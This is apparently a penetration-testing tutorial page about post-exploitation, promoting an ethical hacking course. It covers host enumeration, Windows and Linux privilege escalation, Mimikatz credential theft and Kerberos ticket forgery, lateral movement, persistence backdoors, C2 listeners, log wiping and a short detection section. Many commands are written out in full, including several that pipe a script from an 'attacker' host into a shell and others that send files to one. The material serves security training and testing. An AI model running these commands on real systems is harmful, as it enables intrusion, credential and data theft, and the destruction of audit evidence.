Post-Exploitation Techniques
What to Do After Gaining Initial Access in a Penetration Test
Introduction to Post-Exploitation
Post-exploitation is the phase in a penetration test where you leverage the initial foothold to achieve your objectives. Whether your goal is to access sensitive data, compromise domain admin, or demonstrate full business impact, this phase determines the success of your engagement. A successful initial access is only valuable when paired with effective post-exploitation techniques.
Unlike attackers who may only care about initial compromise, professional penetration testers must demonstrate the real risk to the organization. This means moving beyond simple shell access to showing how an attacker could pivot, escalate privileges, access critical systems, and exfiltrate sensitive data. Understanding post-exploitation methodology is essential for any red team operator or security professional.
Post-Exploitation Objectives
Post-Exploitation Methodology
A structured methodology ensures thorough coverage and accurate documentation. Following a systematic approach helps identify all possible attack vectors and provides clear evidence of risk to stakeholders.
Information Gathering
Before attempting any exploitation, thorough enumeration is critical. Understanding the system and network context helps identify the most effective attack paths while minimizing risk of detection or system disruption.
System Information
# Windows - System Info systeminfo hostname echo %USERNAME% wmic OS get caption,version,buildnumber wmic computerystem get name,domain ipconfig /all net config workstation # Linux - System Info hostname uname -a cat /etc/os-release whoami && id cat /etc/passwd | grep -v nologin
Network Information
# Windows - Network Info ipconfig /all netstat -ano route print arp -a netsh advfirewall show allprofiles # Linux - Network Info ifconfig -a / ip addr netstat -tulpn ss -tulpn route -n arp -a cat /etc/hosts
User and Credential Enumeration
# Windows - User Enumeration whoami /all net user net localgroup net localgroup Administrators quser /server:COMPUTERNAME query user wmic useraccount get name,sid dir C:\Users /a # Linux - User Enumeration whoami groups cat /etc/group cat /etc/sudoers sudo -l w last cat ~/.bash_history
Privilege Escalation
Privilege escalation transforms limited shell access into administrative or SYSTEM-level control. This is often the most critical phase of post-exploitation, as many objectives require elevated privileges to achieve.
Windows Privilege Escalation
Service Misconfigurations
# Check service permissions sc qc servicename accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" * -cvwd # Look for unquoted service paths wmic service get name,pathname,startmode | findstr /i "auto" wmic service where "pathname like '% %'" get name,pathname
Registry Autorun Locations
# Check autorun entries reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wmic startup list full # AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Stored Credentials
# Credential Manager cmdkey /list rundll32 keymgr.dll,KRShowKeyMgr # Cached Credentials reg query "HKLM\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\Winlogon" # WDigest (plaintext passwords) reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest # SAM Database reg save HKLM\SAM sam.save reg save HKLM\SYSTEM system.save
Token Manipulation
# Whoami /all shows tokens whoami /all # SeImpersonatePrivilege - Potato family exploits # SeBackupPrivilege - Read system files # SeDebugPrivilege - Debug processes # Printspoofer for PrintNotify abuse # Juicy Potato / Rotten Potato
Linux Privilege Escalation
SUID/SGID Binaries
# Find SUID binaries find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null # Find SGID binaries find / -perm -2000 -type f 2>/dev/null # Check GTFOBins for exploitation # Common: nmap, vim, less, more, bash, python, perl
Sudo Misconfigurations
# Check sudo access
sudo -l
# Common privesc via sudo
sudo su -
sudo bash
sudo python -c 'import os; os.system("/bin/bash")'
# env_keep for PATH manipulation
sudo env PATH=/tmp:/usr/local/bin:$PATH /bin/shScheduled Tasks and Cron
# Cron jobs crontab -l ls -la /etc/cron.d/ cat /etc/crontab # Wildcard injection # If script uses wildcards like "tar cvf /backup/*" # Can create files that get processed as options
Kernel Exploits
# Check kernel version uname -a cat /proc/version # Search for exploits searchsploit linux kernel VERSION # Common exploits: Dirty COW, polkit, overlayfs
Automated Enumeration Tools
# Windows - WinPEAS, PowerUp, Seatbelt,SharpUp # Download and execute certutil -urlcache -split -f http://attacker/winpeas.exe .winpeas.exe # Linux - LinPEAS, LinEnum, linux-exploit-suggester # Download and execute curl http://attacker/linpeas.sh | sh
Horizontal and Lateral Movement
Once you have elevated privileges locally, the next step is to expand your reach across the network. Lateral movement allows you to access other systems and resources that are not directly accessible from your initial foothold.
Pass-the-Hash Techniques
# Using Mimikatz to extract and use hashes sekurlsa::logonpasswords sekurlsa::pth /user:admin /domain:targetdomain /ntlm:HASH # Impacket psexec python3 psexec.py domain/user@target 'cmd.exe' python3 wmiexec.py domain/user@target 'cmd.exe' python3 smbexec.py domain/user@target 'cmd.exe' # CrackMapExec cme smb 10.10.10.0/24 -u administrator -H HASH
Remote Management with WMI and WinRM
# Windows Management Instrumentation
wmic /node:targetcomputer /user:domain\admin "process call create cmd.exe"
# PowerShell Remoting
$creds = Get-Credential
Invoke-Command -ComputerName target -Credential $creds -ScriptBlock { whoami }
# Enter-PSSession for interactive shell
Enter-PSSession -ComputerName target -Credential $credsPass-the-Ticket (Active Directory)
# Extract tickets with Mimikatz sekurlsa::tickets kerberos::list /export # Golden Ticket kerberos::golden /domain:target.local /sid:SID /krbtgt:HASH /user:fakeadmin # Silver Ticket (service-specific) kerberos::silver /domain:target.local /sid:SID /target:server.target.local /rc4:TARGET_HASH /service:cifs # Load ticket kerberos::ptt ticket.kirbi
SSH Lateral Movement
# SSH with password ssh user@target # SSH with key ssh -i key.pem user@target # SSH port forward for pivoting ssh -L 8080:target:80 user@pivot # Proxy through compromised host ssh -D 1080 user@pivot
Maintaining Persistence
Persistence ensures you can regain access even if your initial foothold is discovered and removed. A good persistence strategy includes multiple access vectors that survive reboots and manual cleanup attempts.
Windows Persistence
# Registry Run Keys reg add "HKLM\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\malware.exe" /f # Scheduled Tasks schtasks /create /tn "SystemUpdate" /tr "C:\malware.exe" /sc daily /st 09:00 # Services sc create "SystemService" binpath= "C:\malware.exe" start= auto # WMI Event Subscription powershell -Command " $filter = Set-WMIInstance -Namespace 'root\subscription' -Class __EventFilter $consumer = Set-WMIInstance -Namespace 'root\subscription' -Class CommandLineEventConsumer $binding = Set-WMIInstance -Namespace 'root\subscription' -Class __FilterToConsumerBinding"
Linux Persistence
# Cron jobs (crontab -l; echo "@reboot sleep 60 && /tmp/.hidden.sh") | crontab - # SSH authorized keys mkdir -p ~/.ssh echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys # rc.local echo "/tmp/backdoor &" >> /etc/rc.local # systemd service cat > /etc/systemd/system/myservice.service [Unit] After=network.target [Service] ExecStart=/tmp/malware Type=oneshot [Install] WantedBy=multi-user.target
C2 Framework Listeners
# Metasploit listener use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 443 exploit # Covenant launcher # Generate listener, create Grunt, configure binding # Empire listeners (Empire) > listeners (Empire: listeners) > uselistener http (Empire: http) > set Host http://attacker (Empire: http) > execute
Data Exfiltration Techniques
The ultimate goal of many penetration tests is to demonstrate access to sensitive data. Understanding how to efficiently identify, package, and transfer data is essential while maintaining operational security.
Identifying Sensitive Data
# Windows - Search for sensitive files dir /s /b C:\*password*.txt dir /s /b C:\*credential*.xml dir /s /b C:\*backup*.bak # Search for databases dir /s /b C:\*.mdf dir /s /b C:\*.bak # Linux - Find sensitive files find / -name "*passwd*" -o -name "*shadow*" 2>/dev/null grep -r "password" /var/www --include="*.php" 2>/dev/null locate database | grep -i mysql
Exfiltration Methods
# HTTP PUT/POST curl -X PUT --data-binary @file.txt http://attacker/upload # FTP curl -T file.txt ftp://attacker/ # DNS tunneling (for restricted networks) dnscat2-client --domain attacker.com # ICMP tunneling nping --icmp --data-length 100 attacker # Steganography (hide in images) steghide embed -cf image.jpg -ef secret.txt
Operational Security Considerations
Covering Your Tracks
While most penetration tests are assumed to be "loud," minimizing your footprint demonstrates professional tradecraft and helps organizations understand realistic attacker behavior. Covering tracks also reduces the chance of your C2 infrastructure being detected and blocked early.
Windows
# Clear event logs wevtutil cl System wevtutil cl Security wevtutil cl Application # Clear command history reg delete "HKCU\Software\Microsoft\ Windows\CurrentVersion\Explorer\RunMRU" reg delete "HKCU\Software\Microsoft\Windows\ CurrentVersion\Explorer\TypedPaths" # Delete scheduled task schtasks /delete /tn "MaliciousTask" /f # Remove service sc delete "MaliciousService"
Linux
# Clear logs >/var/log/auth.log >/var/log/syslog >/var/log/messages # Clear bash history rm ~/.bash_history touch ~/.bash_history # Remove added files rm /tmp/backdoor rm /etc/cron.d/malcron # Restore modified files git checkout /etc/passwd
Active Directory Post-Exploitation
Active Directory environments present unique challenges and opportunities. Once you have compromised a domain user or computer account, Active Directory post-exploitation can lead to complete domain compromise.
BloodHound AD Reconnaissance
# On Kali Linux - Install BloodHound apt install bloodhound # Collect AD data with Sharphound (run from compromised host) # Collect data via existing domain access .SharpHound.exe -c all # Or collect via LDAP enumeration .SharpHound.exe -c all -d DOMAIN.LOCAL # Upload JSON to BloodHound GUI # Analyze shortest path to Domain Admin
Domain Privilege Escalation Paths
# Check for unconstrained delegation
Get-ADComputer -Filter {Delegation -eq "Full"}
Get-ADUser -Filter {Delegation -eq "Full"}
# Kerberoasting (request TGS for service accounts)
Import-Module .GetUserSPNs.ps1
GetUserSPNs -request
# AS-REP Roasting (no pre-auth users)
Get-ADUser -Filter {DoNotRequirePreauth -eq $true}
# ACL abuse paths
# Check for GenericAll, WriteDacl, Owner rightsDomain Dominance Techniques
Essential Post-Exploitation Tools
The right tools make post-exploitation more efficient and thorough. These tools are standard in red team toolkits and should be mastered by any penetration tester.
Defending Against Post-Exploitation
Understanding both offensive techniques and defensive countermeasures is essential for security professionals. Here are key measures organizations should implement.
Windows Defenses
Active Directory Defenses
Detection and Monitoring
# Monitor for Mimikatz artifacts Event ID 4688 - Process Creation (look for mimikatz.exe) Event ID 4673 - Sensitive Privilege Use Event ID 4624 - Account Logon (look for LogonType 9 - RemoteInteractive) # Monitor PowerShell usage Enable Script Block Logging Monitor for encoded commands: -enc, -EncodedCommand # Network monitoring Monitor for unusual SMB connections Watch for internal network scanning Alert on connections to suspicious external IPs # EDR integration Deploy Microsoft Defender for Endpoint Integrate with SIEM for correlation Implement YARA rules for malware detection
Master Post-Exploitation Techniques
Learn advanced red team tactics, privilege escalation, lateral movement, and C2 frameworks in our comprehensive ethical hacking course. Perfect for aspiring penetration testers and security professionals.
